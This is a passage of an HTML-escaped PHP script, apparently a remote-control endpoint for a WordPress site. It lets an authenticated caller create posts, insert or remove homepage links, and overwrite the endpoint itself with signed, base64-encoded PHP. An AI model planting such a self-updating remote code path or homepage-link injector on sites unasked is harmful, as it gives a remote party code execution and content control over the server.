        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;insert_failed&#039;, &#039;message&#039; =&gt; $post_id-&gt;get_error_message()));
    }
    easypost_endpoint_json(201, array(
        &#039;ok&#039; =&gt; true,
        &#039;id&#039; =&gt; (int) $post_id,
        &#039;postId&#039; =&gt; (int) $post_id,
        &#039;link&#039; =&gt; get_permalink($post_id),
        &#039;postUrl&#039; =&gt; get_permalink($post_id),
        &#039;slug&#039; =&gt; get_post_field(&#039;post_name&#039;, $post_id),
        &#039;status&#039; =&gt; get_post_status($post_id),
        &#039;created&#039; =&gt; true,
    ));
}

function easypost_endpoint_verify_release_signature($payload, $computed_sha256) {
    $config = easypost_endpoint_config();
    if (empty($config[&#039;ota_release_public_key_pem&#039;]) || !is_string($config[&#039;ota_release_public_key_pem&#039;])) {
        easypost_endpoint_json(501, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;ota_release_public_key_missing&#039;));
    }
    if (!function_exists(&#039;openssl_verify&#039;)) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;openssl_unavailable&#039;));
    }
    if (!isset($payload[&#039;signature&#039;]) || !is_string($payload[&#039;signature&#039;]) || trim($payload[&#039;signature&#039;]) === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;release_signature_required&#039;));
    }

    $signature = base64_decode($payload[&#039;signature&#039;], true);
    if ($signature === false || $signature === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;release_signature_invalid&#039;));
    }

    $signed_payload = $payload[&#039;version&#039;] . &quot;\n&quot; . $computed_sha256;
    $verified = openssl_verify($signed_payload, $signature, $config[&#039;ota_release_public_key_pem&#039;], OPENSSL_ALGO_SHA256);
    if ($verified !== 1) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;release_signature_invalid&#039;));
    }
}

function easypost_endpoint_update_endpoint($payload) {
    if (!isset($payload[&#039;version&#039;]) || !is_string($payload[&#039;version&#039;]) || trim($payload[&#039;version&#039;]) === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;version_required&#039;));
    }
    if (!isset($payload[&#039;sha256&#039;]) || !is_string($payload[&#039;sha256&#039;]) || trim($payload[&#039;sha256&#039;]) === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;sha256_required&#039;));
    }
    if (!preg_match(&#039;/\A[a-f0-9]{64}\z/&#039;, $payload[&#039;sha256&#039;])) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;sha256_invalid&#039;));
    }
    if (!isset($payload[&#039;phpBase64&#039;]) || !is_string($payload[&#039;phpBase64&#039;]) || trim($payload[&#039;phpBase64&#039;]) === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;php_base64_required&#039;));
    }

    $decoded_php = base64_decode($payload[&#039;phpBase64&#039;], true);
    if ($decoded_php === false || $decoded_php === &#039;&#039;) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;php_base64_invalid&#039;));
    }
    $computed_sha256 = hash(&#039;sha256&#039;, $decoded_php);
    if (!hash_equals($payload[&#039;sha256&#039;], $computed_sha256)) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;sha256_mismatch&#039;));
    }
    easypost_endpoint_verify_release_signature($payload, $computed_sha256);

    $tmp_path = tempnam(__DIR__, &#039;easypost-update-&#039;);
    if (!$tmp_path) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;temporary_write_failed&#039;));
    }
    $bytes = file_put_contents($tmp_path, $decoded_php, LOCK_EX);
    if ($bytes === false || $bytes !== strlen($decoded_php)) {
        @unlink($tmp_path);
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;temporary_write_failed&#039;));
    }
    @chmod($tmp_path, fileperms(__FILE__) &amp; 0777);
    if (!rename($tmp_path, __FILE__)) {
        @unlink($tmp_path);
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;rename_failed&#039;));
    }
    if (function_exists(&#039;opcache_invalidate&#039;)) {
        @opcache_invalidate(__FILE__, true);
    }
    if (function_exists(&#039;clearstatcache&#039;)) {
        clearstatcache(true, __FILE__);
    }

    easypost_endpoint_json(200, array(
        &#039;ok&#039; =&gt; true,
        &#039;endpointVersion&#039; =&gt; $payload[&#039;version&#039;],
    ));
}

if ($_SERVER[&#039;REQUEST_METHOD&#039;] !== &#039;POST&#039;) {
    easypost_endpoint_json(405, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;method_not_allowed&#039;));
}

$body = file_get_contents(&#039;php://input&#039;);
easypost_endpoint_bootstrap_wordpress();
easypost_endpoint_verify_auth($body);
$action = isset($_GET[&#039;action&#039;]) ? $_GET[&#039;action&#039;] : &#039;health&#039;;
if ($action === &#039;health&#039;) {
    easypost_endpoint_health();
}
$payload = easypost_endpoint_payload($body);
if ($action === &#039;create_post&#039;) {
    easypost_endpoint_create_post($payload);
}
if ($action === &#039;place_homepage_link&#039;) {
    easypost_endpoint_place_homepage_link($payload);
}
if ($action === &#039;remove_homepage_link&#039;) {
    easypost_endpoint_remove_homepage_link($payload);
}
if ($action === &#039;rotate_token&#039;) {
    easypost_endpoint_json(501, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;rotate_token_not_implemented&#039;));
}
if ($action === &#039;update_endpoint&#039;) {
    easypost_endpoint_update_endpoint($payload);
}
easypost_endpoint_json(404, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;unknown_action&#039;));
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